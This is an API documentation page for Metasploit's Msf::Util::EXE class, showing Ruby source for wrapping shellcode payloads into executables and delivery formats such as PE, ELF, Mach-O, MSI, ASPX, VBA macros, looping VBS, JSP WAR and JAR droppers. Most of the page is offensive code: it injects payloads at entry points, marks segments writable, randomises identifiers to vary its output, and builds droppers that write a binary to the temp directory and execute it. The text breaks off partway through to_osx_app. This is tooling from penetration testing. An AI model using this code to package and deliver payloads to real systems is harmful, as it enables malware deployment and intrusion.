Class: Msf::Util::EXE

Inherits:
Object
  • Object
show all
Defined in:
lib/msf/util/exe.rb

Overview

The class provides methods for creating and encoding executable file formats for various platforms. It is a replacement for the previous code in Rex::Text

Class Method Summary collapse

Class Method Details

.encode_stub(framework, arch, code, platform = nil, badchars = '') ⇒ Object 


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# File 'lib/msf/util/exe.rb', line 1191

def self.encode_stub(framework, arch, code, platform = nil, badchars='')
  return code if not framework.encoders
  framework.encoders.each_module_ranked('Arch' => arch) do |name, mod|
    begin
      enc = framework.encoders.create(name)
      raw = enc.encode(code, badchars, nil, platform)
      return raw if raw
    rescue
    end
  end
  nil
end

.exe_sub_method(code, opts = {}) ⇒ Object

Raises:

  • (RuntimeError) 

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# File 'lib/msf/util/exe.rb', line 386

def self.exe_sub_method(code,opts ={})

  pe = ''
  File.open(opts[:template], "rb") { |fd|
    pe = fd.read(fd.stat.size)
  }

  case opts[:exe_type]
    when :service_exe
      max_length = 8192
      name = opts[:servicename]

      if name
        bo = pe.index('SERVICENAME')
        raise RuntimeError, "Invalid PE Service EXE template: missing \"SERVICENAME\" tag" if not bo
        pe[bo, 11] = [name].pack('a11')
      end

      if not opts[:sub_method]
        pe[136, 4] = [rand(0x100000000)].pack('V')
      end
    when :dll
      max_length = 2048
    when :exe_sub
      max_length = 4096
  end

  bo = pe.index('PAYLOAD:')
  raise RuntimeError, "Invalid PE EXE subst template: missing \"PAYLOAD:\" tag" if not bo

  if (code.length <= max_length)
    pe[bo, code.length] = [code].pack("a*")
  else
    raise RuntimeError, "The EXE generator now has a max size of #{max_length} bytes, please fix the calling module"
  end

  if opts[:exe_type] == :dll
    mt = pe.index('MUTEX!!!')
    pe[mt,8] = Rex::Text.rand_text_alpha(8) if mt

    if opts[:dll_exitprocess]
      exit_thread = "\x45\x78\x69\x74\x54\x68\x72\x65\x61\x64\x00"
      exit_process = "\x45\x78\x69\x74\x50\x72\x6F\x63\x65\x73\x73"
      et_index =  pe.index(exit_thread)
      if et_index
        pe[et_index,exit_process.length] = exit_process
      else
        raise RuntimeError, "Unable to find and replace ExitThread in the DLL."
      end
    end
  end

  return pe
end

.generate_nops(framework, arch, len, opts = {}) ⇒ Object 


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# File 'lib/msf/util/exe.rb', line 1204

def self.generate_nops(framework, arch, len, opts={})
  opts['BadChars'] ||= ''
  opts['SaveRegisters'] ||= [ 'esp', 'ebp', 'esi', 'edi' ]

  return nil if not framework.nops
  framework.nops.each_module_ranked('Arch' => arch) do |name, mod|
    begin
      nop = framework.nops.create(name)
      raw = nop.generate_sled(len, opts)
      return raw if raw
    rescue
    end
  end
  nil
end

.is_eicar_corrupted? ⇒ Boolean

EICAR Canary: www.metasploit.com/redmine/projects/framework/wiki/EICAR

Returns:

  • (Boolean) 

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# File 'lib/msf/util/exe.rb', line 1847

def self.is_eicar_corrupted?
  path = ::File.expand_path(::File.join(::File.dirname(__FILE__), "..", "..", "..", "data", "eicar.com"))
  return true if not ::File.exists?(path)

  begin
    data = ::File.read(path)
    if Digest::SHA1.hexdigest(data) != "3395856ce81f2b7382dee72602f798b642f14140"
      return true
    end

  rescue ::Exception
    return true
  end

  false
end

.read_replace_script_template(filename, hash_sub) ⇒ Object 


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# File 'lib/msf/util/exe.rb', line 60

def self.read_replace_script_template(filename, hash_sub)
  template_pathname = File.join(Msf::Config.data_directory, "templates", "scripts", filename)

  template = ''
  File.open(template_pathname, "rb") do |f|
    template = f.read
  end

  return template % hash_sub
end

.replace_msi_buffer(pe, opts) ⇒ Object 


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# File 'lib/msf/util/exe.rb', line 516

def self.replace_msi_buffer(pe, opts)
  opts[:msi_template_path] ||= File.join(Msf::Config.data_directory, "templates")

  if opts[:msi_template].include?(File::SEPARATOR)
    template = opts[:msi_template]
  else
    template = File.join(opts[:msi_template_path], opts[:msi_template])
  end

  msi = ''
  File.open(template, "rb") { |fd|
    msi = fd.read(fd.stat.size)
  }

  section_size =	2**(msi[30..31].unpack('s')[0])
  sector_allocation_table = msi[section_size..section_size*2].unpack('l*')

  buffer_chain = []
  current_secid = 5	# This is closely coupled with the template provided and ideally
        # would be calculated from the dir stream?

  until current_secid == -2
    buffer_chain << current_secid
    current_secid = sector_allocation_table[current_secid]
  end

  buffer_size = buffer_chain.length * section_size

  if pe.size > buffer_size
    raise RuntimeError, "MSI Buffer is not large enough to hold the PE file"
  end

  pe_block_start = 0
  pe_block_end = pe_block_start + section_size - 1

  buffer_chain.each do |section|
    block_start = section_size * (section + 1)
    block_end = block_start + section_size - 1
    pe_block = [pe[pe_block_start..pe_block_end]].pack("a#{section_size}")
    msi[block_start..block_end] = pe_block
    pe_block_start = pe_block_end + 1
    pe_block_end += section_size
  end

  return msi
end

.set_template_default(opts, exe = nil, path = nil) ⇒ Object

Helper functions common to multiple generators


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# File 'lib/msf/util/exe.rb', line 28

def self.set_template_default(opts, exe = nil, path = nil)
  # If no path specified, use the default one.
  path ||= File.join(Msf::Config.data_directory, "templates")

  # If there's no default name, we must blow it up.
  if not exe
    raise RuntimeError, 'Ack! Msf::Util::EXE.set_template_default called w/o default exe name!'
  end

  # Use defaults only if nothing is specified
  opts[:template_path] ||= path
  opts[:template] ||= exe

  # Only use the path when the filename contains no separators.
  if not opts[:template].include?(File::SEPARATOR)
    opts[:template] = File.join(opts[:template_path], opts[:template])
  end

  # Check if it exists now
  return if File.file?(opts[:template])

  # If it failed, try the default...
  if opts[:fallback]
    default_template = File.join(path, exe)
    if File.file?(default_template)      # Perhaps we should warn about falling back to the default?

      opts.merge!({ :fellback => default_template })
      opts[:template] = default_template
    end
  end
end

.to_bsd_x86_elf(framework, code, opts = {}) ⇒ Object

Create a 32-bit BSD (test on FreeBSD) ELF containing the payload provided in code


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# File 'lib/msf/util/exe.rb', line 770

def self.to_bsd_x86_elf(framework, code, opts={})
  elf = to_exe_elf(framework, opts, "template_x86_bsd.bin", code)
  return elf
end

.to_dotnetmem(base = 0x12340000, data = "", opts = {}) ⇒ Object

Creates a .NET DLL which loads data into memory at a specified location with read/execute permissions

- the data will be loaded at: base+0x2065
- default max size is 0x8000 (32768)


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# File 'lib/msf/util/exe.rb', line 1155

def self.to_dotnetmem(base=0x12340000, data="", opts={})

  # Allow the user to specify their own DLL template
  set_template_default(opts, "dotnetmem.dll")

  pe = ''
  File.open(opts[:template], "rb") { |fd|
    pe = fd.read(fd.stat.size)
  }

  # Configure the image base
  base_offset = opts[:base_offset] || 180
  pe[base_offset, 4] = [base].pack('V')

  # Configure the TimeDateStamp
  timestamp_offset = opts[:timestamp_offset] || 136
  pe[timestamp_offset, 4] = [rand(0x100000000)].pack('V')

  # XXX: Unfortunately we cant make this RWX only RX
  # Mark this segment as read-execute AND writable
  # pe[412,4] = [0xe0000020].pack("V")

  # Write the data into the .text segment
  text_offset = opts[:text_offset] || 0x1065
  text_max    = opts[:text_max] || 0x8000
  pack        = opts[:pack] || 'a32768'
  pe[text_offset, text_max] = [data].pack(pack)

  # Generic a randomized UUID
  uuid_offset = opts[:uuid_offset] || 37656
  pe[uuid_offset,16] = Rex::Text.rand_text(16)

  return pe
end

.to_exe_asp(exes = '', opts = {}) ⇒ Object 


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# File 'lib/msf/util/exe.rb', line 907

def self.to_exe_asp(exes = '', opts={})
  hash_sub = {}
  hash_sub[:var_bytes]   = Rex::Text.rand_text_alpha(rand(4)+4) # repeated a large number of times, so keep this one small
  hash_sub[:var_fname]   = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_func]    = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_stream]  = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_obj]     = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_shell]   = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_tempdir] = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_tempexe] = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_basedir] = Rex::Text.rand_text_alpha(rand(8)+8)

  hash_sub[:var_shellcode] = Rex::Text.to_vbscript(exes, hash_sub[:var_bytes])

  return read_replace_script_template("to_exe.asp.template", hash_sub)
end

.to_exe_aspx(exes = '', opts = {}) ⇒ Object 


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# File 'lib/msf/util/exe.rb', line 924

def self.to_exe_aspx(exes = '', opts={})
  hash_sub = {}
  hash_sub[:var_file] 	= Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_tempdir] 	= Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_basedir]	= Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_filename] = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_tempexe] 	= Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_iterator] = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_proc]	= Rex::Text.rand_text_alpha(rand(8)+8)

  hash_sub[:shellcode] = Rex::Text.to_csharp(exes,100,hash_sub[:var_file])

  return read_replace_script_template("to_exe.aspx.template", hash_sub)
end

.to_exe_elf(framework, opts, template, code, big_endian = false) ⇒ Object

Create an ELF executable containing the payload provided in code

For the default template, this method just appends the payload, checks if the template is 32 or 64 bit and adjusts the offsets accordingly For user-provided templates, modifies the header to mark all executable segments as writable and overwrites the entrypoint (usually _start) with the payload.


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# File 'lib/msf/util/exe.rb', line 680

def self.to_exe_elf(framework, opts, template, code, big_endian=false)

  # Allow the user to specify their own template
  set_template_default(opts, template)

  # The old way to do it is like other formats, just overwrite a big
  # block of rwx mem with our shellcode.
  #bo = elf.index( "\x90\x90\x90\x90" * 1024 )
  #co = elf.index( " " * 512 )
  #elf[bo, 2048] = [code].pack('a2048') if bo

  # The new template is just an ELF header with its entry point set to
  # the end of the file, so just append shellcode to it and fixup
  # p_filesz and p_memsz in the header for a working ELF executable.
  elf = ''
  File.open(opts[:template], "rb") { |fd|
    elf = fd.read(fd.stat.size)
  }

  elf << code

  # Check EI_CLASS to determine if the header is 32 or 64 bit
  # Use the proper offsets and pack size
  case elf[4]
  when 1, "\x01" # ELFCLASS32 - 32 bit (ruby 1.8 and 1.9)
    if big_endian
      elf[0x44,4] = [elf.length].pack('N') #p_filesz
      elf[0x48,4] = [elf.length + code.length].pack('N') #p_memsz
    else # little endian
      elf[0x44,4] = [elf.length].pack('V') #p_filesz
      elf[0x48,4] = [elf.length + code.length].pack('V') #p_memsz
    end
  when 2, "\x02" # ELFCLASS64 - 64 bit (ruby 1.8 and 1.9)
    if big_endian
      elf[0x60,8] = [elf.length].pack('Q>') #p_filesz
      elf[0x68,8] = [elf.length + code.length].pack('Q>') #p_memsz
    else # little endian
      elf[0x60,8] = [elf.length].pack('Q') #p_filesz
      elf[0x68,8] = [elf.length + code.length].pack('Q') #p_memsz
    end
  else
    raise RuntimeError, "Invalid ELF template: EI_CLASS value not supported"
  end

  return elf
end

.to_exe_msi(framework, exe, opts = {}) ⇒ Object

Wraps an executable inside a Windows

.msi file for auto execution when run


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# File 'lib/msf/util/exe.rb', line 507

def self.to_exe_msi(framework, exe, opts={})
  if opts[:uac]
    opts[:msi_template] ||= "template_windows.msi"
  else
    opts[:msi_template] ||= "template_nouac_windows.msi"
  end
  return replace_msi_buffer(exe, opts)
end

.to_exe_vba(exes = '') ⇒ Object 


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# File 'lib/msf/util/exe.rb', line 802

def self.to_exe_vba(exes='')
  exe = exes.unpack('C*')
  hash_sub = {}
  idx = 0
  maxbytes = 2000
  var_base_idx = 0
  var_base = Rex::Text.rand_text_alpha(5).capitalize

  # First write the macro into the vba file
  hash_sub[:var_magic] = Rex::Text.rand_text_alpha(10).capitalize
  hash_sub[:var_fname] = var_base + (var_base_idx+=1).to_s
  hash_sub[:var_fenvi] = var_base + (var_base_idx+=1).to_s
  hash_sub[:var_fhand] = var_base + (var_base_idx+=1).to_s
  hash_sub[:var_parag] = var_base + (var_base_idx+=1).to_s
  hash_sub[:var_itemp] = var_base + (var_base_idx+=1).to_s
  hash_sub[:var_btemp] = var_base + (var_base_idx+=1).to_s
  hash_sub[:var_appnr] = var_base + (var_base_idx+=1).to_s
  hash_sub[:var_index] = var_base + (var_base_idx+=1).to_s
  hash_sub[:var_gotmagic] = var_base + (var_base_idx+=1).to_s
  hash_sub[:var_farg] = var_base + (var_base_idx+=1).to_s
  hash_sub[:var_stemp] = var_base + (var_base_idx+=1).to_s
  hash_sub[:filename] = Rex::Text.rand_text_alpha(rand(8)+8)

  # Function 1 extracts the binary
  hash_sub[:func_name1] = var_base + (var_base_idx+=1).to_s

  # Function 2 executes the binary
  hash_sub[:func_name2] = var_base + (var_base_idx+=1).to_s

  hash_sub[:data] = ""

  # Writing the bytes of the exe to the file
  1.upto(exe.length) do |pc|
    while(c = exe[idx])
      hash_sub[:data] << "&H#{("%.2x" % c).upcase}"
      if (idx > 1 and (idx % maxbytes) == 0)        # When maxbytes are written make a new paragrpah

        hash_sub[:data] << "\r\n"
      end
      idx += 1
    end
  end

  return read_replace_script_template("to_exe.vba.template", hash_sub)
end

.to_exe_vbs(exes = '', opts = {}) ⇒ Object 


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# File 'lib/msf/util/exe.rb', line 875

def self.to_exe_vbs(exes = '', opts={})
  delay   = opts[:delay]   || 5
  persist = opts[:persist] || false

  hash_sub = {}
  hash_sub[:var_shellcode] = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:exe_filename] = Rex::Text.rand_text_alpha(rand(8)+8) << '.exe'
  hash_sub[:var_fname]   = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_func]    = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_stream]  = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_obj]     = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_shell]   = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_tempdir] = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_tempexe] = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_basedir] = Rex::Text.rand_text_alpha(rand(8)+8)

  hash_sub[:hex_shellcode] = exes.unpack('H*').join('')

  hash_sub[:init] = ""

  if(persist)
    hash_sub[:init] << "Do\r\n"
    hash_sub[:init] << "#{hash_sub[:var_func]}\r\n"
    hash_sub[:init] << "WScript.Sleep #{delay * 1000}\r\n"
    hash_sub[:init] << "Loop\r\n"
  else
    hash_sub[:init] << "#{hash_sub[:var_func]}\r\n"
  end

  return read_replace_script_template("to_exe.vbs.template", hash_sub)
end

.to_executable(framework, arch, plat, code = '', opts = {}) ⇒ Object

Executable generators


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# File 'lib/msf/util/exe.rb', line 78

def self.to_executable(framework, arch, plat, code='', opts={})
  if (arch.index(ARCH_X86))

    if (plat.index(Msf::Module::Platform::Windows))
      return to_win32pe(framework, code, opts)
    end

    if (plat.index(Msf::Module::Platform::Linux))
      return to_linux_x86_elf(framework, code)
    end

    if(plat.index(Msf::Module::Platform::OSX))
      return to_osx_x86_macho(framework, code)
    end

    if(plat.index(Msf::Module::Platform::BSD))
      return to_bsd_x86_elf(framework, code)
    end

    if(plat.index(Msf::Module::Platform::Solaris))
      return to_solaris_x86_elf(framework, code)
    end

    # XXX: Add remaining x86 systems here
  end

  if( arch.index(ARCH_X86_64) or arch.index( ARCH_X64 ) )
    if (plat.index(Msf::Module::Platform::Windows))
      return to_win64pe(framework, code, opts)
    end

    if (plat.index(Msf::Module::Platform::Linux))
      return to_linux_x64_elf(framework, code, opts)
    end

    if (plat.index(Msf::Module::Platform::OSX))
      return to_osx_x64_macho(framework, code)
    end
  end

  if(arch.index(ARCH_ARMLE))
    if(plat.index(Msf::Module::Platform::OSX))
      return to_osx_arm_macho(framework, code)
    end

    if(plat.index(Msf::Module::Platform::Linux))
      return to_linux_armle_elf(framework, code)
    end

    # XXX: Add remaining ARMLE systems here
  end

  if(arch.index(ARCH_PPC))
    if(plat.index(Msf::Module::Platform::OSX))
      return to_osx_ppc_macho(framework, code)
    end    # XXX: Add PPC OS X and Linux here

  end

  if(arch.index(ARCH_MIPSLE))
    if(plat.index(Msf::Module::Platform::Linux))
      return to_linux_mipsle_elf(framework, code)
    end    # XXX: Add remaining MIPSLE systems here

  end

  if(arch.index(ARCH_MIPSBE))
    if(plat.index(Msf::Module::Platform::Linux))
      return to_linux_mipsbe_elf(framework, code)
    end    # XXX: Add remaining MIPSLE systems here

  end
  nil
end

.to_executable_fmt(framework, arch, plat, code, fmt, exeopts) ⇒ String?

Generate an executable of a given format suitable for running on the architecture/platform pair.

This routine is shared between msfencode, rpc, and payload modules (use <payload>)

constants

Parameters:

  • framework (Framework)
  • arch (String) —

    Architecture for the target format; one of the ARCH_*

  • plat (#index) —

    platform

  • code (String) —

    The shellcode for the resulting executable to run

  • fmt (String) —

    One of the executable formats as defined in to_executable_fmt_formats

  • exeopts (Hash) —

    Passed directly to the approrpriate method for generating an executable for the given arch/plat pair.

Returns:

  • (String) —

    An executable appropriate for the given architecture/platform pair.

  • (nil) —

    If the format is unrecognized or the arch and plat don't make sense together.


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# File 'lib/msf/util/exe.rb', line 1675

def self.to_executable_fmt(framework, arch, plat, code, fmt, exeopts)
  # For backwards compatibility with the way this gets called when
  # generating from Msf::Simple::Payload.generate_simple
  if arch.kind_of? Array
    output = nil
    arch.each do |a|
      output = to_executable_fmt(framework, a, plat, code, fmt, exeopts)
      break if output
    end
    return output
  end

  case fmt
  when 'asp'
    exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts)
    output = Msf::Util::EXE.to_exe_asp(exe, exeopts)

  when 'aspx'
      output = Msf::Util::EXE.to_mem_aspx(framework, code, exeopts)

  when 'aspx-exe'
    exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts)
    output = Msf::Util::EXE.to_exe_aspx(exe, exeopts)

  when 'dll'
    output = case arch
      when ARCH_X86,nil then to_win32pe_dll(framework, code, exeopts)
      when ARCH_X86_64  then to_win64pe_dll(framework, code, exeopts)
      when ARCH_X64     then to_win64pe_dll(framework, code, exeopts)
      end

  when 'exe'
    output = case arch
      when ARCH_X86,nil then to_win32pe(framework, code, exeopts)
      when ARCH_X86_64  then to_win64pe(framework, code, exeopts)
      when ARCH_X64     then to_win64pe(framework, code, exeopts)
      end

  when 'exe-service'
    output = case arch
      when ARCH_X86,nil then to_win32pe_service(framework, code, exeopts)
      when ARCH_X86_64  then to_win64pe_service(framework, code, exeopts)
      when ARCH_X64     then to_win64pe_service(framework, code, exeopts)
    end

  when 'exe-small'
    output = case arch
      when ARCH_X86,nil then to_win32pe_old(framework, code, exeopts)
      when ARCH_X86_64,ARCH_X64 then to_win64pe(framework, code, exeopts)
      end

  when 'exe-only'
    output = case arch
      when ARCH_X86,nil then to_winpe_only(framework, code, exeopts, arch)
      when ARCH_X86_64  then to_winpe_only(framework, code, exeopts, arch)
      when ARCH_X64     then to_winpe_only(framework, code, exeopts, arch)
      end

  when 'msi'
    case arch
      when ARCH_X86,nil
        exe = to_win32pe(framework, code, exeopts)
      when ARCH_X86_64,ARCH_X64
        exe = to_win64pe(framework, code, exeopts)
    end
    output = Msf::Util::EXE.to_exe_msi(framework, exe, exeopts)

  when 'msi-nouac'
    case arch
      when ARCH_X86,nil
        exe = to_win32pe(framework, code, exeopts)
      when ARCH_X86_64,ARCH_X64
        exe = to_win64pe(framework, code, exeopts)
    end
    exeopts[:uac] = true
    output = Msf::Util::EXE.to_exe_msi(framework, exe, exeopts)

  when 'elf'
    if (not plat or (plat.index(Msf::Module::Platform::Linux)))
      output = case arch
        when ARCH_X86,nil then to_linux_x86_elf(framework, code, exeopts)
        when ARCH_X86_64  then to_linux_x64_elf(framework, code, exeopts)
        when ARCH_X64     then to_linux_x64_elf(framework, code, exeopts)
        when ARCH_ARMLE   then to_linux_armle_elf(framework, code, exeopts)
        when ARCH_MIPSBE  then to_linux_mipsbe_elf(framework, code, exeopts)
        when ARCH_MIPSLE  then to_linux_mipsle_elf(framework, code, exeopts)
        end
    elsif(plat and (plat.index(Msf::Module::Platform::BSD)))
      output = case arch
        when ARCH_X86,nil then Msf::Util::EXE.to_bsd_x86_elf(framework, code, exeopts)
        end
    elsif(plat and (plat.index(Msf::Module::Platform::Solaris)))
      output = case arch
        when ARCH_X86,nil then to_solaris_x86_elf(framework, code, exeopts)
        end
    end

  when 'macho', 'osx-app'
    output = case arch
      when ARCH_X86,nil then to_osx_x86_macho(framework, code, exeopts)
      when ARCH_X86_64  then to_osx_x64_macho(framework, code, exeopts)
      when ARCH_X64     then to_osx_x64_macho(framework, code, exeopts)
      when ARCH_ARMLE   then to_osx_arm_macho(framework, code, exeopts)
      when ARCH_PPC     then to_osx_ppc_macho(framework, code, exeopts)
      end
    output = Msf::Util::EXE.to_osx_app(output) if fmt == 'osx-app'

  when 'vba'
    output = Msf::Util::EXE.to_vba(framework, code, exeopts)

  when 'vba-exe'
    exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts)
    output = Msf::Util::EXE.to_exe_vba(exe)

  when 'vbs'
    exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts)
    output = Msf::Util::EXE.to_exe_vbs(exe, exeopts.merge({ :persist => false }))

  when 'loop-vbs'
    exe = exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts)
    output = Msf::Util::EXE.to_exe_vbs(exe, exeopts.merge({ :persist => true }))

  when 'war'
    arch ||= [ ARCH_X86 ]
    tmp_plat = plat.platforms if plat
    tmp_plat ||= Msf::Module::PlatformList.transform('win')
    exe = Msf::Util::EXE.to_executable(framework, arch, tmp_plat, code, exeopts)
    output = Msf::Util::EXE.to_jsp_war(exe)

  when 'psh'
    output = Msf::Util::EXE.to_win32pe_psh(framework, code, exeopts)

  when 'psh-net'
    output = Msf::Util::EXE.to_win32pe_psh_net(framework, code, exeopts)
    
  when 'psh-reflection'
    output = Msf::Util::EXE.to_win32pe_psh_reflection(framework, code, exeopts)

  end

  output
end

.to_executable_fmt_formats ⇒ Object 


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# File 'lib/msf/util/exe.rb', line 1818

def self.to_executable_fmt_formats
  [
    "asp",
    "aspx",
    "aspx-exe",
    "dll",
    "elf",
    "exe",
    "exe-only",
    "exe-service",
    "exe-small",
    "loop-vbs",
    "macho",
    "msi",
    "msi-nouac",
    "osx-app",
    "psh",
    "psh-net",
    "psh-reflection",
    "vba",
    "vba-exe",
    "vbs",
    "war"
  ]
end

.to_jar(exe, opts = {}) ⇒ Rex::Zip::Jar

Creates a jar file that drops the provided exe into a random file name in the system's temp dir and executes it.

Returns:

See Also:


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# File 'lib/msf/util/exe.rb', line 1023

def self.to_jar(exe, opts={})
  spawn = opts[:spawn] || 2
  exe_name = Rex::Text.rand_text_alpha(8) + ".exe"
  zip = Rex::Zip::Jar.new
  zip.add_sub("metasploit") if opts[:random]
  paths = [
    [ "metasploit", "Payload.class" ],
  ]
  zip.add_files(paths, File.join(Msf::Config.data_directory, "java"))
  zip.build_manifest :main_class => "metasploit.Payload"
  config = "Spawn=#{spawn}\r\nExecutable=#{exe_name}\r\n"
  zip.add_file("metasploit.dat", config)
  zip.add_file(exe_name, exe)

  zip
end

.to_jsp_war(exe, opts = {}) ⇒ String

Creates a Web Archive (WAR) file containing a jsp page and hexdump of a payload. The jsp page converts the hexdump back to a normal binary file and places it in the temp directory. The payload file is then executed.

Parameters:

  • exe (String) —

    Executable to drop and run.

  • opts (Hash) (defaults to: {})

Options Hash (opts):

  • :jsp_name (String) —

    Name of the <jsp-file> in the archive _without the .jsp extension_. Defaults to random.

  • :app_name (String) —

    Name of the app to put in the <servlet-name> tag. Mostly irrelevant, except as an identifier in web.xml. Defaults to random.

  • :extra_files (Array<String,String>) —

    Additional files to add to the archive. First elment is filename, second is data

Returns:

  • (String)

See Also:


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# File 'lib/msf/util/exe.rb', line 1113

def self.to_jsp_war(exe, opts={})

  # begin <payload>.jsp
  hash_sub = {}
  hash_sub[:var_hexpath]       = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_exepath]       = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_data]          = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_inputstream]   = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_outputstream]  = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_numbytes]      = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_bytearray]     = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_bytes]         = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_counter]       = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_char1]         = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_char2]         = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_comb]          = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_exe]           = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_hexfile]       = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_proc]          = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_fperm]         = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_fdel]          = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_exepatharray]  = Rex::Text.rand_text_alpha(rand(8)+8)

  # Specify the payload in hex as an extra file..
  payload_hex = exe.unpack('H*')[0]
  opts.merge!(
    {
      :extra_files =>
        [
          [ "#{hash_sub[:var_hexfile]}.txt", payload_hex ]
        ]
    })

  template = read_replace_script_template("to_exe_jsp.war.template", hash_sub)

  return self.to_war(template, opts)
end

.to_linux_armle_elf(framework, code, opts = {}) ⇒ Object 


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# File 'lib/msf/util/exe.rb', line 787

def self.to_linux_armle_elf(framework, code, opts={})
  elf = to_exe_elf(framework, opts, "template_armle_linux.bin", code)
  return elf
end

.to_linux_mipsbe_elf(framework, code, opts = {}) ⇒ Object 


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# File 'lib/msf/util/exe.rb', line 797

def self.to_linux_mipsbe_elf(framework, code, opts={})
  elf = to_exe_elf(framework, opts, "template_mipsbe_linux.bin", code, true)
  return elf
end

.to_linux_mipsle_elf(framework, code, opts = {}) ⇒ Object 


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# File 'lib/msf/util/exe.rb', line 792

def self.to_linux_mipsle_elf(framework, code, opts={})
  elf = to_exe_elf(framework, opts, "template_mipsle_linux.bin", code)
  return elf
end

.to_linux_x64_elf(framework, code, opts = {}) ⇒ Object

Create a 64-bit Linux ELF containing the payload provided in code


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# File 'lib/msf/util/exe.rb', line 782

def self.to_linux_x64_elf(framework, code, opts={})
  elf = to_exe_elf(framework, opts, "template_x64_linux.bin", code)
  return elf
end

.to_linux_x86_elf(framework, code, opts = {}) ⇒ Object

Create a 32-bit Linux ELF containing the payload provided in code


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# File 'lib/msf/util/exe.rb', line 728

def self.to_linux_x86_elf(framework, code, opts={})
  unless opts[:template]
    default = true
  end

  if default
    elf = to_exe_elf(framework, opts, "template_x86_linux.bin", code)
  else
    # If this isn't our normal template, we have to do some fancy
    # header patching to mark the .text section rwx before putting our
    # payload into the entry point.

    # read in the template and parse it
    e = Metasm::ELF.decode_file(opts[:template])

    # This will become a modified copy of the template's original phdr
    new_phdr = Metasm::EncodedData.new
    e.segments.each { |s|
      # Be lazy and mark any executable segment as writable.  Doing
      # it this way means we don't have to care about which one
      # contains .text
      if s.flags.include? "X"
        s.flags += [ "W" ]
      end
      new_phdr << s.encode(e)
    }

    # Copy the original file
    elf = File.open(opts[:template], "rb") {|fd| fd.read(fd.stat.size) }

    # Replace the header with our rwx modified version
    elf[e.header.phoff, new_phdr.data.length] = new_phdr.data

    # Replace code at the entrypoint with our payload
    entry_off = e.addr_to_off(e.label_addr('entrypoint'))
    elf[entry_off, code.length] = code
  end

  return elf
end

.to_mem_aspx(framework, code, exeopts = {}) ⇒ Object 


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# File 'lib/msf/util/exe.rb', line 939

def self.to_mem_aspx(framework, code, exeopts={})
  # Intialize rig and value names
  rig = Rex::RandomIdentifierGenerator.new()
  rig.init_var(:var_funcAddr)
  rig.init_var(:var_hThread)
  rig.init_var(:var_pInfo)
  rig.init_var(:var_threadId)
  rig.init_var(:var_bytearray)

  hash_sub = rig.to_h
  hash_sub[:shellcode] = Rex::Text.to_csharp(code, 100, rig[:var_bytearray])

  return read_replace_script_template("to_mem.aspx.template", hash_sub)
end

.to_osx_app(exe, opts = {}) ⇒ String

Returns zip archive containing an OSX .app directory.

Parameters:

  • opts (Hash) (defaults to: {}) —

    the options hash

Options Hash (opts):

  • :exe_name (String) — default: random —

    the name of the macho exe file (never seen by the user)

  • :app_name (String) — default: random —

    the name of the OSX app

  • :plist_extra (String) — default: '' —

    some extra data to shove inside the Info.plist file

Returns:

  • (String) —

    zip archive containing an OSX .app directory


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# File 'lib/msf/util/exe.rb', line 635

def self.to_osx_app(exe, opts={})
  exe_name    = opts[:exe_name]    || Rex::Text.rand_text_alpha(8)
  app_name    = opts[:app_name]    || Rex::Text.rand_text_alpha(8)
  plist_extra = opts[:plist_extra] || ''

  app_name.chomp!(".app")
  app_name += ".app"

  info_plist = %Q|
    <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleExecutable</key>
<string>#{exe_name}</string>
<key>CFBundleIdentifier</key>
<string>com.#{exe_name}.app</string>
<key>CFBundleName</key>
<string>#{exe_name}</string>
<key>CFBundlePackageType</key>
<string>APPL</string>
#{plist_extra}
</dict>
</plist>
  |

  zip = Rex::Zip::Archive.new
  zip.add_file("#{app_name}/", '')
  zip.add_file("#{app_name}/Contents/", '')
  zip.add_file("#{app_name}/Contents/MacOS/", '')
